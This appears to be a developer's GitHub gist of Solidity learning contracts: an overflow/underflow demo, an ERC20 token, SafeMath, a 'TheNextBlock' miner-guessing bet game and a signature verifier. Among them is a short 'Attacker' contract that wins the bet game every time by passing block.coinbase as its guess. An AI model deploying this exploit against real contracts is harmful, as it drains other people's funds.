Skip to content

Instantly share code, notes, and snippets.

@achiko
Created September 19, 2018 15:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save achiko/e6ef5c31393eb8905e2922c4bdbad356 to your computer and use it in GitHub Desktop.
Save achiko/e6ef5c31393eb8905e2922c4bdbad356 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.25+commit.59dbf8f1.js&optimize=false&gist=
pragma solidity ^0.4.18;
import './B.sol';
contract C {
// (2**256 - 1) + 1 = 0
function overflow() returns (uint256 _overflow) {
uint256 max = 2**256 - 1;
return max + 1;
}
// 0 - 1 = 2**256 - 1
function underflow() returns (uint256 _underflow) {
uint256 min = 0;
return min - 1;
}
}
pragma solidity ^0.4.19;
contract Attacker {
function () public payable { }
function play(address thenextblockContractAddress) public payable {
thenextblockContractAddress.call.value(msg.value)(bytes4(keccak256("placeBet(address)")), block.coinbase);
}
}
pragma solidity ^0.4.8;
// ----------------------------------------------------------------------------------------------
// Sample fixed supply token contract
// Enjoy. (c) BokkyPooBah 2017. The MIT Licence.
// ----------------------------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
contract ERC20Interface {
// Get the total token supply
function totalSupply() constant returns (uint256 totalSupply);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) constant returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract GogaTokens is ERC20Interface {
string public constant symbol = "GOGA";
string public constant name = "Gogas Tokens";
uint8 public constant decimals = 18;
uint256 _totalSupply = 10* 1000 * 1000000 * (10**uint256(decimals));
// Owner of this contract
address public owner;
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
// Constructor
function GogaTokens() {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
// What is the balance of a particular account?
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TheNextBlock {
event BetReceived(address sender, uint256 value, address betOnMiner, address miner, uint256 balance);
event GivingBackTheRest(address sender, uint256 value, uint256 rest);
event Jackpot(address winner);
event LogStr(string value);
event LogUint(uint256 value);
event LogAddress(address value);
//Contract owner address
struct Owner {
uint256 balance;
address addr;
}
Owner owner;
//If this is set to false contract will not receive funds
bool public isBetEnabled = true;
//Exacly how much percent of available balance you can bet. Neither less nor more.
//If you bet more contract will give you back the rest. If less transaction will be reverted.
uint256 public allowedBetAmount = 10000000000000000; // 0.01 ETH
//How many guesses you will need in a row to win and get money.
uint8 public requiredGuessCount = 2;
//How many percent can take owners from every win.
uint8 public ownerProfitPercent = 10;
//Winners Jackpot percent
uint8 public jackpotPercent = 90;
//Here will be accumulated jackpot
uint256 pot = 0;
// Players struct
struct Player {
uint256 balance;
uint256[] wonBlocks;
}
// Players data
mapping(address => Player) private playersStorage;
// Counter for players guesses
mapping(address => uint8) private playersGuessCounts;
modifier onlyOwner() {
require(msg.sender == owner.addr);
_;
}
modifier notLess() {
require(msg.value >= allowedBetAmount);
_;
}
modifier notMore() {
if(msg.value > allowedBetAmount) {
GivingBackTheRest(msg.sender, msg.value, msg.value - allowedBetAmount);
msg.sender.transfer( SafeMath.sub(msg.value, allowedBetAmount) );
}
_;
}
modifier onlyWhenBetIsEnabled() {
require(isBetEnabled);
_;
}
function safeGetPercent(uint256 amount, uint8 percent) private pure returns(uint256) {
// ((amount - amount%100)/100)*percent
return SafeMath.mul( SafeMath.div( SafeMath.sub(amount, amount%100), 100), percent);
}
function TheNextBlock() public {
owner.addr = msg.sender;
LogStr("Congrats! Contract Created!");
}
//This is left for donations
function () public payable { }
function placeBet(address _miner)
public
payable
onlyWhenBetIsEnabled
notLess
notMore {
BetReceived(msg.sender, msg.value, _miner, block.coinbase, this.balance);
owner.balance += safeGetPercent(allowedBetAmount, ownerProfitPercent);
pot += safeGetPercent(allowedBetAmount, jackpotPercent);
if(_miner == block.coinbase) {
//Increase guess counter
playersGuessCounts[msg.sender]++;
//Jackpot
if(playersGuessCounts[msg.sender] == requiredGuessCount) {
Jackpot(msg.sender);
//Store players lucky blocks.
playersStorage[msg.sender].wonBlocks.push(block.number);
if(pot >= allowedBetAmount) {
//Give money to player
playersStorage[msg.sender].balance += pot;
//Empty everything
pot = 0;
playersGuessCounts[msg.sender] = 0;
} else {
//Decrease by one if player won and contract has nothing to give.
//This is required for game to be fair.
playersGuessCounts[msg.sender]--;
}
}
} else {
//Reset on lose
playersGuessCounts[msg.sender] = 0;
}
}
//This is duplicated functionality.
//After choosing right style half will be deleted.
function getPlayersBalance(address playerAddr) public view returns(uint256) {
return playersStorage[playerAddr].balance;
}
function getPlayersGuessCount(address playerAddr) public view returns(uint8) {
return playersGuessCounts[playerAddr];
}
function getPlayersWonBlocks(address playerAddr) public view returns(uint256[]) {
return playersStorage[playerAddr].wonBlocks;
}
function getMyBalance() public view returns(uint256) {
return playersStorage[msg.sender].balance;
}
function getMyGuessCount() public view returns(uint8) {
return playersGuessCounts[msg.sender];
}
function getMyWonBlocks() public view returns(uint256[]) {
return playersStorage[msg.sender].wonBlocks;
}
function withdrawMyFunds() public {
uint256 balance = playersStorage[msg.sender].balance;
if(balance != 0) {
playersStorage[msg.sender].balance = 0;
msg.sender.transfer(balance);
}
}
function withdrawOwnersFunds() public onlyOwner {
owner.addr.transfer(owner.balance);
owner.balance = 0;
}
function getOwnersBalance() public view returns(uint256) {
return owner.balance;
}
function getPot() public view returns(uint256) {
return pot;
}
function getBalance() public view returns(uint256) {
return this.balance;
}
}
pragma solidity ^0.4.8;
contract Verifier {
function recoverAddr(bytes32 msgHash, uint8 v, bytes32 r, bytes32 s) returns (address) {
return ecrecover(msgHash, v, r, s);
}
function isSigned(address _addr, bytes32 msgHash, uint8 v, bytes32 r, bytes32 s) returns (bool) {
return ecrecover(msgHash, v, r, s) == _addr;
}
function test(bytes32 t ) returns (bool) {
return true;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment